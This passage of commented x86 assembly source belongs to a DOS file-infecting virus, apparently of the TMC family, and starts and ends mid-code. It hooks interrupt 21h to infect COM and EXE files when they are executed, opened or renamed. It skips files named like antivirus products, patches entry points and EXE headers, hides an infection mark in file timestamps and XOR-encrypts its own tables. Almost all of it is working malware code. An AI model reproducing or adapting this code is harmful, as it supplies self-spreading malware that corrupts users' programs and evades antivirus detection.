db 11101101b ; Data reference
dw 0bd9h ; Pointer to ah__
db 02h ; Two bytes instruction
mov ax,si ; AX = offset within table
db 02h ; Two bytes instruction
sub ax,bp ; Subtract delta offset from offse...
db 03h ; Three bytes instruction
sub ax,1234h ; Subtract offset of tmc_table_ fr...
db 11101101b ; Data reference
dw 4c5h ; Pointer to tmc_table_
db 04h ; Four bytes instruction
mul word ptr [bp+1234h] ; AL = 8-bit sliding encryptio...
db 11101101b ; Data reference
dw 0bd8h ; Pointer to sliding_key_
db 04h ; Four bytes instruction
add al,[bp+1234h] ; AL = 8-bit encryption/decryption...
db 11101101b ; Data reference
dw 0bd7h ; Pointer to crypt_key_
db 02h ; Two bytes instruction
xor al,[si] ; AL = byte of decrypted table
db 04h ; Four bytes instruction
mov ah,[bp+1234h] ; AH = stored AH
db 11101101b ; Data reference
dw 0bd9h ; Pointer to ah__
db 01h ; One byte instruction
inc si ; Increase offset within table
db 01h ; One byte instruction
ret ; Return
db 11101111b ; End of block
decrypt_id_ db 11101110b ; Beginning of block
dw 0be1h ; Block identification of decrypt_id_
db 11101000b ; CALL imm16 (opcode 0e8h)
dw 0be0h ; Pointer to decrypt_byt
db 02h ; Two bytes instruction
mov ah,al ; AL = byte of decrypted table
db 11101000b ; CALL imm16 (opcode 0e8h)
dw 0be0h ; Pointer to decrypt_byt
db 02h ; Two bytes instruction
xchg al,ah ; AL = byte of decrypted table
db 01h ; One byte instruction
ret ; Return
db 11101111b ; End of block
virus_exit_ db 11101110b ; Beginning of block
dw 65h ; Block identification of virus_exit_
db 01h ; One byte instruction
pop es ; Load ES from stack
db 02h ; Two bytes instruction
mov ah,49h ; Free memory
db 02h ; Two bytes instruction
int 21h
db 01h ; One byte instruction
pop bx ; Load BX from stack
db 01h ; One byte instruction
pop ax ; Load AX from stack
db 02h ; Two bytes instruction
mov ds,ax ; DS = segment of PSP for current ...
db 02h ; Two bytes instruction
mov es,ax ; DS = segment of PSP for current ...
db 02h ; Two bytes instruction
mov ah,4ah ; Resize memory block
db 02h ; Two bytes instruction
int 21h
db 04h ; Four bytes instruction
lea bx,[bp+1234h] ; BX = offset of jmp_imm32_
db 11101101b ; Data reference
dw 1391h ; Pointer of jmp_imm32_
db 01h ; One byte instruction
pop ax ; Load AX from stack (initial IP)
db 04h ; Four bytes instruction
mov cs:[bx+01h],ax ; Store initial IP
db 01h ; One byte instruction
pop ax ; Load AX from stack (initial CS ...)
db 04h ; Four bytes instruction
mov cs:[bx+03h],ax ; Store initial CS relative to sta...
db 01h ; One byte instruction
pop ax ; Load AX from stack (initial SP)
db 01h ; One byte instruction
pop ss ; Load SS from stack (initial SS ...)
db 02h ; Two bytes instruction
mov sp,ax ; SP = stack pointer
db 11101001b ; JMP imm16 (opcode 0e9h)
dw 1391h ; Pointer of jmp_imm32_
db 11101111b ; End of block
jmp_imm32_ db 11101110b ; Beginning of block
dw 1391h ; Block identification of jmp_imm32_
db 05h+10h ; Five bytes data
db 11101010b ; JMP imm32 (opcode 0eah)
dd 00h ; Pointer to virus in top of memory
db 11101111b ; End of block
ah__ db 11101110b ; Beginning of block
dw 0bd9h ; Block identification of ah__
db 01h+10h ; One byte data
db 00h ; Accumulator register (high-orde...)
db 11101111b ; End of block
probability_ db 11101110b ; Beginning of block
dw 0bech ; Block identification of probabil...
db 02h+10h ; Two bytes data
dw 32h ; Probability
db 11101111b ; End of block
crypt_key_ db 11101110b ; Beginning of block
dw 0bd7h ; Block identification of crypt_key_
db 01h+10h ; One byte data
db 00h ; 8-bit encryption/decryption key
db 11101111b ; End of block
sliding_key_ db 11101110b ; Beginning of block
dw 0bd8h ; Block identification of sliding_...
db 02h+10h ; Two bytes data
dw 00h ; 8-bit sliding encryption/decrypt...
db 11101111b ; End of block
executa_sta db 11101110b ; Beginning of block
dw 1388h ; Block identification of executa_sta
db 01h+10h ; One byte data
db 00h ; Executable status
db 11101111b ; End of block
origin_code_ db 11101110b ; Beginning of block
dw 1f40h ; Block identification of origin_c...
db 03h+10h ; Three bytes data
db 11000011b,00000010b dup(00h)
db 11101111b ; End of block
initial_cs_ db 11101110b ; Beginning of block
dw 1389h ; Block identification of initial_cs_
db 02h+10h ; Two bytes data
dw 0fff0h ; Initial CS relative to start of ...
db 11101111b ; End of block
initial_ss_ db 11101110b ; Beginning of block
dw 138ah ; Block identification of initial_ss_
db 02h+10h ; Two bytes data
dw 0fff0h ; Initial SS relative to start of ...
db 11101111b ; End of block
initial_ip_ db 11101110b ; Beginning of block
dw 138bh ; Block identification of initial_ip_
db 02h+10h ; Two bytes data
dw 100h ; Initial IP
db 11101111b ; End of block
incorrec_ip db 11101110b ; Beginning of block
dw 1773h ; Block identification of incorrec_ip
db 02h+10h ; Two bytes data
dw 100h ; Incorrect IP
db 11101111b ; End of block
initial_sp_ db 11101110b ; Beginning of block
dw 138ch ; Block identification of initial_sp_
db 02h+10h ; Two bytes data
dw 0fffeh ; Initial SP
db 11101111b ; End of block
new_mcb_siz db 11101110b ; Beginning of block
dw 1393h ; Block identification of new_mcb_siz
db 02h+10h ; Two bytes data
dw 1000h ; New size in paragraphs
db 11101111b ; End of block
mcb_size__ db 11101110b ; Beginning of block
dw 1395h ; Block identification of mcb_size__
db 02h+10h ; Two bytes data
dw 0ffffh ; Size of memory block in paragraphs
db 11101111b ; End of block
mcb_size___ db 11101110b ; Beginning of block
dw 1394h ; Block identification of mcb_siz...
db 02h+10h ; Two bytes data
dw 00h ; Size of memory block in paragraphs
db 11101111b ; End of block
program_seg_ db 11101110b ; Beginning of block
dw 0befh ; Block identification of program_...
db 02h+10h ; Two bytes data
dw 00h ; Segment of PSP for current process
db 11101111b ; End of block
virus_lengt db 11101110b ; Beginning of block
dw 0bf0h ; Block identification of virus_lengt
db 02h+10h ; Two bytes data
dw 00h ; Length of virus
db 11101111b ; End of block
vir_exit_of db 11101110b ; Beginning of block
dw 0bf1h ; Block identification of vir_exit_of
db 02h+10h ; Two bytes data
dw 00h ; Offset of virus_exit_
db 11101111b ; End of block
tmc_table_ db 11101110b ; Beginning of block
dw 4c5h ; Block identification of tmc_table_
db 11101111b ; End of block
db 00h ; End of table
second_table db 11101111b ; End of block
virus_end:
crypt_table db 11101110b ; Beginning of block
dw 66h ; Block identification of crypt_table
db 02h ; Two bytes instruction
xor bp,bp ; BP = delta offset
db 01h ; One byte instruction
push cs ; Save CS at stack
db 01h ; One byte instruction
pop ds ; Load DS from stack
db 11101000b ; CALL imm16 (opcode 0e8h)
dw 0bfeh ; Pointer to crypt_table_
db 11101000b ; CALL imm16 (opcode 0e8h)
dw 0bd4h ; Pointer to get_rnd_num_
db 03h ; Three bytes instruction
mov ds:[1234h],al ; Store 8-bit encryption/decryptio...
db 11101101b ; Data reference
dw 0bd7h ; Pointer to crypt_key_
db 04h ; Four bytes instruction
mov ds:[1234h],ah ; Store 8-bit sliding encryption/d...
db 11101101b ; Data reference
dw 0bd8h ; Pointer to sliding_key_
db 11101000b ; CALL imm16 (opcode 0e8h)
dw 0bfeh ; Pointer to crypt_table_
db 03h ; Three bytes instruction
mov ax,3521h ; Get interrupt vector 21h
db 02h ; Two bytes instruction
int 21h
db 03h ; Three bytes instruction
mov di,1234h ; DI = offset of int21_jump
db 11101101b ; Data reference
dw 0c9h ; Pointer to int21_jump
db 03h ; Three bytes instruction
mov [di+01h],bx ; Store offset of interrupt 21h
db 03h ; Three bytes instruction
mov [di+03h],es ; Store segment of interrupt 21h
db 03h ; Three bytes instruction
mov dx,1234h ; DX = offset of int21_virus
db 11101101b ; Data reference
dw 0c8h ; Pointer to int21_virus
db 03h ; Three bytes instruction
mov ax,2521h ; Set interrupt vector 21h
db 02h ; Two bytes instruction
int 21h
db 11101001b ; JMP imm16 (opcode 0e9h)
dw 65h ; Pointer to virus_exit_
db 11101111b ; End of block
crypt_table_ db 11101110b ; Beginning of block
dw 0bfeh ; Block identification of crypt_ta...
db 03h ; Three bytes instruction
mov si,1234h ; SI = offset of tmc_table_
db 11101101b ; Data reference
dw 4c5h ; Pointer to tmc_table_
db 03h ; Three bytes instruction
mov cx,(code_end-first_table)
db 11101001b ; JMP imm16 (opcode 0e9h)
dw 0bffh ; Pointer to crypt_loop
db 11101111b ; End of block
crypt_loop db 11101110b ; Beginning of block
dw 0bffh ; Block identification of crypt_lo...
db 02h ; Two bytes instruction
xor [si],al ; Encrypt byte of table
db 01h ; One byte instruction
inc si ; Increase offset within table
db 02h ; Two bytes instruction
add al,ah ; Add 8-bit sliding encryption key...
db 01h ; One byte instruction
dec cx ; Decrease counter
db 01110101b+10000000b ; Not zero? Jump to crypt_loop
dw 0bffh ; Pointer to crypt_loop
db 01h ; One byte instruction
ret ; Return
db 11101111b ; End of block
int21_virus db 11101110b ; Beginning of block
dw 0c8h ; Block identification of int21_virus
db 01h ; One byte instruction
push ax ; Save AX at stack
db 01h ; One byte instruction
push bx ; Save BX at stack
db 01h ; One byte instruction
push cx ; Save CX at stack
db 01h ; One byte instruction
push dx ; Save DX at stack
db 01h ; One byte instruction
push si ; Save SI at stack
db 01h ; One byte instruction
push di ; Save DI at stack
db 01h ; One byte instruction
push ds ; Save DS at stack
db 01h ; One byte instruction
push es ; Save ES at stack
db 01h ; One byte instruction
cld ; Clear direction flag
db 03h ; Three bytes instruction
cmp ah,4bh ; Load and/or execute program?
db 01110100b+10000000b ; Equal? Jump to find_zero
dw 1392h ; Pointer to find_zero
db 03h ; Three bytes instruction
cmp ah,56h ; Rename file?
db 01110100b+10000000b ; Equal? Jump to find_zero
dw 1392h ; Pointer to find_zero
db 03h ; Three bytes instruction
cmp ah,3dh ; Open file?
db 01110101b+10000000b ; Not equal? Jump to int21_exit
dw 0fbh ; Pointer to int21_exit
db 11101001b ; JMP imm16 (opcode 0e9h)
dw 1392h ; Pointer to find_zero
db 11101111b ; End of block
find_zero db 11101110b ; Beginning of block
dw 1392h ; Block identification of find_zero
db 01h ; One byte instruction
push ds ; Save DS at stack
db 01h ; One byte instruction
pop es ; Load ES from stack (DS)
db 02h ; Two bytes instruction
mov di,dx ; DI = offset of filename
db 03h ; Three bytes instruction
mov cx,43h ; CX = number of bytes to search t...
db 02h ; Two bytes instruction
xor al,al ; Zero AL
db 02h ; Two bytes instruction
repne scasb ; Find end of filename
db 01110101b+10000000b ; Not equal? Jump to int21_exit
dw 0fbh ; Pointer to int21_exit
db 03h ; Three bytes instruction
lea si,[di-05h] ; SI = offset of the dot in the fi...
db 01h ; One byte instruction
lodsw ; AX = two bytes of filename
db 03h ; Three bytes instruction
or ax,2020h ; Lowercase characters
db 03h ; Three bytes instruction
mov bx,'mo' ; COM executable
db 03h ; Three bytes instruction
cmp ax,'c.' ; COM executable?
db 01110100b+10000000b ; Equal? Jump to examine_ext
dw 0f0h ; Pointer to examine_ext
db 03h ; Three bytes instruction
mov bx,'ex' ; EXE executable
db 03h ; Three bytes instruction
cmp ax,'e.' ; EXE executable?
db 01110100b+10000000b ; Equal? Jump to examine_ext
dw 0f0h ; Pointer to examine_ext
db 11101001b ; JMP imm16 (opcode 0e9h)
dw 0fbh ; Pointer to int21_exit
db 11101111b ; End of block
examine_ext db 11101110b ; Beginning of block
dw 0f0h ; Block identification of examine_ext
db 01h ; One byte instruction
lodsw ; AX = two bytes of filename
db 03h ; Three bytes instruction
or ax,2020h ; Lowercase characters
db 02h ; Two bytes instruction
cmp ax,bx ; COM or EXE executable?
db 01110101b+10000000b ; Not equal? Jump to examine_ext
dw 0fbh ; Pointer to int21_exit
db 03h ; Three bytes instruction
sub si,04h ; SI = offset of the dot in the fi...
db 11101001b ; JMP imm16 (opcode 0e9h)
dw 1398h ; Pointer to find_name
db 11101111b ; End of block
find_name db 11101110b ; Beginning of block
dw 1398h ; Block identification of find_name
db 01h ; One byte instruction
dec si ; SI = offset within filename
db 02h ; Two bytes instruction
mov al,[si] ; AL = byte of filename
db 02h ; Two bytes instruction
cmp al,'/' ; Beginning of filename?
db 01110100b+10000000b ; Equal? Jump to examine_name
dw 1397h ; Pointer to examine_name
db 02h ; Two bytes instruction
cmp al,'\' ; Beginning of filename?
db 01110100b+10000000b ; Equal? Jump to examine_name
dw 1397h ; Pointer to examine_name
db 02h ; Two bytes instruction
cmp al,':' ; Beginning of filename?
db 01110100b+10000000b ; Equal? Jump to examine_name
dw 1397h ; Pointer to examine_name
db 02h ; Two bytes instruction
cmp si,dx ; Beginning of filename?
db 01110111b+10000000b ; Above? Jump to find_name
dw 1398h ; Pointer to find_name
db 01h ; One byte instruction
dec si ; SI = offset within filename
db 11101001b ; JMP imm16 (opcode 0e9h)
dw 1397h ; Pointer to examine_name
db 11101111b ; End of block
examine_name db 11101110b ; Beginning of block
dw 1397h ; Block identification of examine_...
db 01h ; One byte instruction
inc si ; SI = offset of beginning of file...
db 01h ; One byte instruction
lodsw ; AX = two bytes of filename
db 03h ; Three bytes instruction
or ax,2020h ; Lowercase characters
db 03h ; Three bytes instruction
xor ax,0aa55h ; Encrypt two bytes of filename
db 03h ; Three bytes instruction
cmp ax,('ci' xor 0aa55h)
db 01110100b+10000000b ; Equal? Jump to int21_exit
dw 0fbh ; Pointer to int21_exit
db 03h ; Three bytes instruction
cmp ax,('on' xor 0aa55h)
db 01110100b+10000000b ; NOD-iCE? Jump to int21_exit
dw 0fbh ; Pointer to int21_exit
db 03h ; Three bytes instruction
cmp ax,('ew' xor 0aa55h)
db 01110100b+10000000b ; Dr. Web? Jump to int21_exit
dw 0fbh ; Pointer to int21_exit
db 03h ; Three bytes instruction
cmp ax,('bt' xor 0aa55h)
db 01110100b+10000000b ; ThunderByte Anti-Virus? Jump to ...
dw 0fbh ; Pointer to int21_exit
db 03h ; Three bytes instruction
cmp ax,('va' xor 0aa55h)
db 01110100b+10000000b ; AntiViral Toolkit Pro? Jump to i...
dw 0fbh ; Pointer to int21_exit
db 03h ; Three bytes instruction
cmp ax,('-f' xor 0aa55h)
db 01110100b+10000000b ; F-PROT? Jump to int21_exit
dw 0fbh ; Pointer to int21_exit
db 03h ; Three bytes instruction
cmp ax,('cs' xor 0aa55h)
db 01110100b+10000000b ; McAfee ViruScan? Jump to int21_exit
dw 0fbh ; Pointer to int21_exit
db 03h ; Three bytes instruction
cmp ax,('oc' xor 0aa55h)
db 01110100b+10000000b ; COMMAND.COM? Jump to int21_exit
dw 0fbh ; Pointer to int21_exit
db 03h ; Three bytes instruction
cmp ax,('iw' xor 0aa55h)
db 01110100b+10000000b ; WIN.COM? Jump to int21_exit
dw 0fbh ; Pointer to int21_exit
db 03h ; Three bytes instruction
cmp ax,('rk' xor 0aa55h)
db 01110100b+10000000b ; Equal? Jump to int21_exit
dw 0fbh ; Pointer to int21_exit
db 02h ; Two bytes instruction
mov cx,ds ; CX = segment of filename
db 01h ; One byte instruction
push cs ; Save CS at stack
db 01h ; One byte instruction
pop ds ; Load DS from stack
db 03h ; Three bytes instruction
mov ax,3524h ; Get interrupt vector 24h
db 02h ; Two bytes instruction
int 21h
db 01h ; One byte instruction
push es ; Save ES at stack
db 01h ; One byte instruction
push bx ; Save BX at stack
db 01h ; One byte instruction
push dx ; Save DX at stack
db 03h ; Three bytes instruction
mov dx,1234h ; DX = offset of int24_virus
db 11101101b ; Data reference
dw 1770h ; Pointer to int24_virus
db 03h ; Three bytes instruction
mov ax,2524h ; Set interrupt vector 24h
db 02h ; Two bytes instruction
int 21h
db 01h ; One byte instruction
pop dx ; Load DX from stack
db 02h ; Two bytes instruction
mov ds,cx ; DS = segment of filename
db 02h ; Two bytes instruction
mov es,cx ; ES = segment of filename
db 03h ; Three bytes instruction
mov ax,3d02h ; Open file (read/write)
db 03h ; Three bytes instruction
mov bx,1234h ; BX = offset of int21_jump
db 11101101b ; Data reference
dw 0c9h ; Pointer to int21_jump
db 01h ; One byte instruction
inc bx ; BX = offset of address of interr...
db 01h ; One byte instruction
pushf ; Save flags at stack
db 03h ; Three bytes instruction
call dword ptr cs:[bx]
db 01110010b+10000000b ; Error? Jump to int24_store
dw 1771h ; Pointer to int24_store
db 02h ; Two bytes instruction
mov bx,ax ; BX = file handle
db 01h ; One byte instruction
push cs ; Save CS at stack
db 01h ; One byte instruction
pop ds ; Load DS from stack (CS)
db 03h ; Three bytes instruction
mov ax,5700h ; Get file's date and time
db 02h ; Two bytes instruction
int 21h
db 01110010b+10000000b ; Error? Jump to close_file
dw 0fah ; Pointer to close_file
db 04h ; Four bytes instruction
mov ds:[1234h],dx ; Store file's date
db 11101101b ; Data reference
dw 12dh ; Pointer to file_date
db 02h ; Two bytes instruction
mov al,cl ; AL = low-order byte of file time
db 02h ; Two bytes instruction
and al,00011111b ; AL = file seconds
db 02h ; Two bytes instruction
cmp al,00000100b ; Already infected (8 seconds)?
db 01110100b+10000000b ; Equal? Jump to close_file
dw 0fah ; Pointer to close_file
db 03h ; Three bytes instruction
and cl,11100000b ; Zero file seconds
db 03h ; Three bytes instruction
or cl,00000100b ; Set infection mark (8 seconds)
db 04h ; Four bytes instruction
mov ds:[1234h],cx ; Store file's time
db 11101101b ; Data reference
dw 12ch ; Pointer to file_time
db 02h ; Two bytes instruction
mov ah,3fh ; Read from file
db 03h ; Three bytes instruction
mov cx,03h ; Read three bytes
db 03h ; Three bytes instruction
mov dx,1234h ; DX = offset of origin_code_
db 11101101b ; Data reference
dw 1f40h ; Pointer to origin_code_
db 02h ; Two bytes instruction
mov si,dx ; SI = offset of origin_code_
db 02h ; Two bytes instruction
int 21h
db 01110010b+10000000b ; Error? Jump to close_file
dw 0fah ; Pointer to close_file
db 01h ; One byte instruction
lodsw ; AX = EXE signature
db 03h ; Three bytes instruction
cmp ax,'ZM' ; EXE signature?
db 01110100b+10000000b ; Equal? Jump to infect_exe
dw 138dh ; Pointer to infect_exe
db 03h ; Three bytes instruction
cmp ax,'MZ' ; EXE signature?
db 01110100b+10000000b ; Equal? Jump to infect_exe
dw 138dh ; Pointer to infect_exe
db 03h ; Three bytes instruction
mov si,1234h ; SI = offset of initial_cs_
db 11101101b ; Data reference
dw 1389h ; Pointer to initial_cs_
db 04h ; Four bytes instruction
mov [si],0fff0h ; Store initial CS relative to sta...
db 03h ; Three bytes instruction
mov si,1234h ; SI = offset of initial_ss_
db 11101101b ; Data reference
dw 138ah ; Pointer to initial_ss_
db 04h ; Four bytes instruction
mov [si],0fff0h ; Store initial SS relative to sta...
db 03h ; Three bytes instruction
mov si,1234h ; SI = offset of initial_ip_
db 11101101b ; Data reference
dw 138bh ; Pointer to initial IP
db 04h ; Four bytes instruction
mov [si],100h ; Store initial IP
db 03h ; Three bytes instruction
mov si,1234h ; SI = offset of initial_sp_
db 11101101b ; Data reference
dw 138ch ; Pointer to initial_sp_
db 04h ; Four bytes instruction
mov [si],0fffeh ; Store initial SP
db 03h ; Three bytes instruction
mov si,1234h ; SI = offset of mcb_size__
db 11101101b ; Data reference
dw 1395h ; Pointer to mcb_size__
db 04h ; Four bytes instruction
mov [si],0ffffh ; Store size of memory block in pa...
db 03h ; Three bytes instruction
mov si,1234h ; SI = offset of new_mcb_siz
db 11101101b ; Data reference
dw 1393h ; Pointer to new_mcb_siz
db 04h ; Four bytes instruction
mov [si],1000h ; Store new size in paragraphs
db 02h ; Two bytes instruction
mov al,00h ; COM executable
db 03h ; Three bytes instruction
mov ds:[1234h],al ; Store executable status
db 11101101b ; Data reference
dw 1388h ; Pointer to executa_sta
db 03h ; Three bytes instruction
mov ax,4202h ; Set current file position (EOF)
db 02h ; Two bytes instruction
xor cx,cx ; CX = high-order word of offset f...
db 02h ; Two bytes instruction
xor dx,dx ; DX = low-order word of offset f...
db 02h ; Two bytes instruction
int 21h
db 01110010b+10000000b ; Error? Jump to close_file
dw 0fah ; Pointer to close_file
db 03h ; Three bytes instruction
cmp ax,0e000h ; Filesize too large?
db 01110111b+10000000b ; Above? Jump to close_file
dw 0fah ; Pointer to close_file
db 01h ; One byte instruction
push ax ; Save AX at stack
db 03h ; Three bytes instruction
add ax,100h ; AX = delta offset
db 03h ; Three bytes instruction
mov ds:[01h],ax ; Store delta offset
db 02h ; Two bytes instruction
mov ah,40h ; Write to file
db 02h ; Two bytes instruction
xor dx,dx ; Zero DX
db 03h ; Three bytes instruction
mov cx,1234h ; CX = length of virus
db 11101101b ; Data reference
dw 66h ; Pointer to virus_end
db 02h ; Two bytes instruction
int 21h
db 01h ; One byte instruction
pop ax ; Load AX from stack
db 01110010b+10000000b ; Error? Jump to close_file
dw 0fah ; Pointer to close_file
db 01h ; One byte instruction
push ax ; Save AX at stack
db 03h ; Three bytes instruction
mov ax,4200h ; Set current file position (SOF)
db 02h ; Two bytes instruction
xor cx,cx ; CX = high-order word of offset f...
db 02h ; Two bytes instruction
xor dx,dx ; DX = low-order word of offset fr...
db 02h ; Two bytes instruction
int 21h
db 01h ; One byte instruction
pop ax ; Load AX from stack
db 01110010b+10000000b ; Error? Jump to close_file
dw 0fah ; Pointer to close_file
db 03h ; Three bytes instruction
mov di,1234h ; DI = offset of origin_code_
db 11101101b ; Data reference
dw 1f40h ; Pointer to origin_code_
db 02h ; Two bytes instruction
mov dx,di ; DX = offset of origin_code_
db 03h ; Three bytes instruction
mov byte ptr [di],11101001b
db 03h ; Three bytes instruction
sub ax,03h ; AX = offset of virus within infe...
db 03h ; Three bytes instruction
mov [di+01h],ax ; Store offset of virus within inf...
db 03h ; Three bytes instruction
mov cx,03h ; Write three bytes
db 02h ; Two bytes instruction
mov ah,40h ; Write to file
db 02h ; Two bytes instruction
int 21h
db 01110010b+10000000b ; Error? Jump to close_file
dw 0fah ; Pointer to close_file
db 11101001b ; JMP imm16 (opcode 0e9h)
dw 138eh ; Pointer to set_file_inf
db 11101111b ; End of block
set_file_inf db 11101110b ; Beginning of block
dw 138eh ; Block identification of set_file...
db 03h ; Three bytes instruction
mov ax,5701h ; Set file's date and time
db 04h ; Four bytes instruction
mov cx,ds:[1234h] ; CX = new time
db 11101101b ; Data reference
dw 12ch ; Pointer to file_time
db 04h ; Four bytes instruction
mov dx,ds:[1234h] ; DX = new date
db 11101101b ; Data reference
dw 12dh ; Pointer to file_date
db 02h ; Two bytes instruction
int 21h
db 11101001b ; JMP imm16 (opcode 0e9h)
dw 0fah ; Block identification of close_file
db 11101111b ; End of block
close_file db 11101110b ; Beginning of block
dw 0fah ; Block identification of close_file
db 02h ; Two bytes instruction
mov ah,3eh ; Close file
db 02h ; Two bytes instruction
int 21h
db 11101001b ; JMP imm16 (opcode 0e9h)
dw 1771h ; Pointer to int24_store
db 11101111b ; End of block
int24_store db 11101110b ; Beginning of block
dw 1771h ; Block identification of int24_store
db 01h ; One byte instruction
pop dx ; Load DX from stack
db 01h ; One byte instruction
pop ds ; Load DS from stack
db 03h ; Three bytes instruction
mov ax,2524h ; Set interrupt vector 21h
db 02h ; Two bytes instruction
int 21h
db 11101001b ; JMP imm16 (opcode 0e9h)
dw 0fbh ; Pointer to int21_exit
db 11101111b ; End of block
int21_exit db 11101110b ; Beginning of block
dw 0fbh ; Block identification of int21_exit
db 01h ; One byte instruction
pop es ; Load ES from stack
db 01h ; One byte instruction
pop ds ; Load DS from stack
db 01h ; One byte instruction
pop di ; Load DI from stack
db 01h ; One byte instruction
pop si ; Load SI from stack
db 01h ; One byte instruction
pop dx ; Load DX from stack
db 01h ; One byte instruction
pop cx ; Load CX from stack
db 01h ; One byte instruction
pop bx ; Load BX from stack
db 01h ; One byte instruction
pop ax ; Load aX from stack
db 11101001b ; JMP imm16 (opcode 0e9h)
dw 0c9h ; Pointer to int21_jump
db 11101111b ; End of block
int21_jump db 11101110b ; Beginning of block
dw 0c9h ; Block identification of int21_jump
db 05h+10h ; Five bytes data
db 11101010b ; JMP imm32 (opcode 0eah)
dd 00h ; address of interrupt 21h
db 11101111b ; End of block
infect_exe db 11101110b ; Beginning of block
dw 138dh ; Block identification of infect_exe
db 02h ; Two bytes instruction
mov al,01h ; EXE executable
db 03h ; Three bytes instruction
mov ds:[1234h],al ; Store executable status
db 11101101b ; Data reference
dw 1388h ; Pointer to executa_sta
db 03h ; Three bytes instruction
mov ax,4200h ; Set current file position (SOF)
db 02h ; Two bytes instruction
xor cx,cx ; CX = high-order word of offset f...
db 02h ; Two bytes instruction
xor dx,dx ; CX = low-order word of offset fi...
db 02h ; Two bytes instruction
int 21h
db 01110010b+10000000b ; Error? Jump to close_file
dw 0fah ; Pointer to close_file
db 02h ; Two bytes instruction
mov ah,3fh ; Read from file
db 03h ; Three bytes instruction
mov cx,18h ; Read twenty-four bytes
db 03h ; Three bytes instruction
mov dx,1234h ; DX = offset of exe_header
db 11101101b ; Data reference
dw 138fh ; Pointer to exe_header
db 02h ; Two bytes instruction
int 21h
db 01110010b+10000000b ; Error? Jump to close_file
dw 0fah ; Pointer to close_file
db 03h ; Three bytes instruction
mov si,1234h ; SI = offset of exe_header
db 11101101b ; Data reference
dw 138fh ; Pointer to exe_header
db 02h ; Two bytes instruction
xor ax,ax ; Zero AX
db 04h ; Four bytes instruction
cmp [si+0ch],0ffffh ; Maximum paragraphs to allocate ...?
db 01110100b+10000000b ; Equal? Jump to maximum_mem
dw 1399h ; Pointer to maximum_mem
db 03h ; Three bytes instruction
mov ax,[si+04h] ; AX = total number of 512-byte pa...
db 01h ; One byte instruction
inc ax ; Increase total number of 512-byt...
db 02h ; Two bytes instruction
mov cl,05h ; Divide by thirty-two
db 02h ; Two bytes instruction
shl ax,cl ; AX = total number of 512-byte pa...
db 03h ; Three bytes instruction
sub ax,[si+08h] ; Subtract header size in paragrap...
db 11101001b ; JMP imm16 (opcode 0e9h)
dw 1399h ; Pointer to maximum_mem
db 11101111b ; End of block
maximum_mem db 11101110b ; Beginning of block
dw 1399h ; Block identification of maximum_mem
db 03h ; Three bytes instruction
add ax,[si+0ch] ; Add maximum paragraphs to alloca...
db 03h ; Three bytes instruction
mov ds:[1234h],ax ; Store size of memory block in pa...
db 11101101b ; Data reference
dw 1395h ; Pointer to mcb_size__
db 03h ; Three bytes instruction
mov ax,[si+0eh] ; AX = initial SS relative to star...
db 03h ; Three bytes instruction
mov ds:[1234h],ax ; Store initial SS relative to sta...
db 11101101b ; Data reference
dw 138ah ; Pointer to initial_ss_
db 03h ; Three bytes instruction
mov ax,[si+10h] ; AX = initial SP
db 03h ; Three bytes instruction
mov ds:[1234h],ax ; Store initial SP
db 11101101b ; Data reference
dw 138ch ; Pointer to initial_sp_
db 03h ; Three bytes instruction
mov ax,[si+14h] ; AX = initial IP
db 03h ; Three bytes instruction
mov ds:[1234h],ax ; Store initial IP
db 11101101b ; Data reference
dw 138bh ; Pointer to initial_ip_
db 03h ; Three bytes instruction
mov ax,[si+16h] ; AX = initial CS relative to star...
db 03h ; Three bytes instruction
mov ds:[1234h],ax ; Store initial CS relative to sta...
db 11101101b ; Data reference
dw 1389h ; Pointer to initial_cs_
db 03h ; Three bytes instruction
mov ax,14h ; AX = probability of storing inco...
db 04h ; Four bytes instruction
cmp ds:[1234h],ax ; Store incorrect IP?
db 11101101b ; Data reference
dw 0bech ; Pointer to probability_
db 01110111b+10000000b ; Above? Jump to set_file_pos
dw 1775h ; Pointer to set_file_pos
db 01h ; One byte instruction
push bp ; Save BP at stack
db 01h ; One byte instruction
push ds ; Save DS at stack
db 01h ; One byte instruction
pop es ; Load ES from stack (DS)
db 03h ; Three bytes instruction
mov bp,40h ; Random number within sixty-four
db 11101000b ; CALL imm16 (opcode 0e8h)
dw 0bd5h ; Pointer to rnd_in_rang
db 01h ; One byte instruction
pop bp ; Load BP from stack
db 03h ; Three bytes instruction
add ax,[si+14h] ; Add initial IP to random number ...
db 03h ; Three bytes instruction
mov ds:[1234h],ax ; Store incorrect IP
db 11101101b ; Data reference
dw 1773h ; Pointer to incorrec_ip
db 11101001b ; JMP imm16 (opcode 0e9h)
dw 1775h ; Pointer to set_file_pos
db 11101111b ; End of block
set_file_pos db 11101110b ; Beginning of block
dw 1775h ; Block identification of set_file...
db 03h ; Three bytes instruction
mov ax,4202h ; Set current file position (EOF)
db 02h ; Two bytes instruction
xor cx,cx ; CX = high-order word of offset f...
db 02h ; Two bytes instruction
xor dx,dx ; DX = high-order word of offset f...
db 02h ; Two bytes instruction
int 21h
db 01110010b+10000000b ; Error? Jump to close_file
dw 0fah ; Pointer to close_file
db 03h ; Three bytes instruction
cmp dx,06h ; Filesize too large?
db 01110111b+10000000b ; Above? Jump to write_virus
dw 0fah ; Pointer to close_file
db 01h ; One byte instruction
push ax ; Save AX at stack
db 01h ; One byte instruction
push dx ; Save DX at stack
db 03h ; Three bytes instruction
mov cx,200h ; Divide by pages
db 02h ; Two bytes instruction
div cx ; DX:AX = filesize in pages
db 01h ; One byte instruction
inc ax ; Increase total number of 512-byt...
db 03h ; Three bytes instruction
cmp [si+04h],ax ; Internal overlay?
db 01h ; One byte instruction
pop dx ; Load DX from stack
db 01h ; One byte instruction
pop ax ; Load AX from stack
db 01110101b+10000000b ; Not equal? Jump to close_file
dw 0fah ; Pointer to close_file
db 01h ; One byte instruction
push ax ; Save AX at stack
db 01h ; One byte instruction
push dx ; Save DX at stack
db 05h ; Five bytes instruction
mov [si+0ch],0ffffh ; Store maximum paragraphs to allo...
db 05h ; Five bytes instruction
mov [si+10h],7ffeh ; Store initial SP
db 05h ; Five bytes instruction
mov word ptr [si+14h],00h
db 03h ; Three bytes instruction
mov cx,10h ; Divide by paragraphs
db 02h ; Two bytes instruction
div cx ; DX:AX = filesize in paragraphs
db 03h ; Three bytes instruction
sub ax,[si+08h] ; Subtract header size in paragrap...
db 01h ; One byte instruction
inc ax ; Increase initial CS/SS relative ...
db 03h ; Three bytes instruction
mov [si+0eh],ax ; Store initial SS relative to sta...
db 03h ; Three bytes instruction
mov [si+16h],ax ; Store initial CS relative to sta...
db 03h ; Three bytes instruction
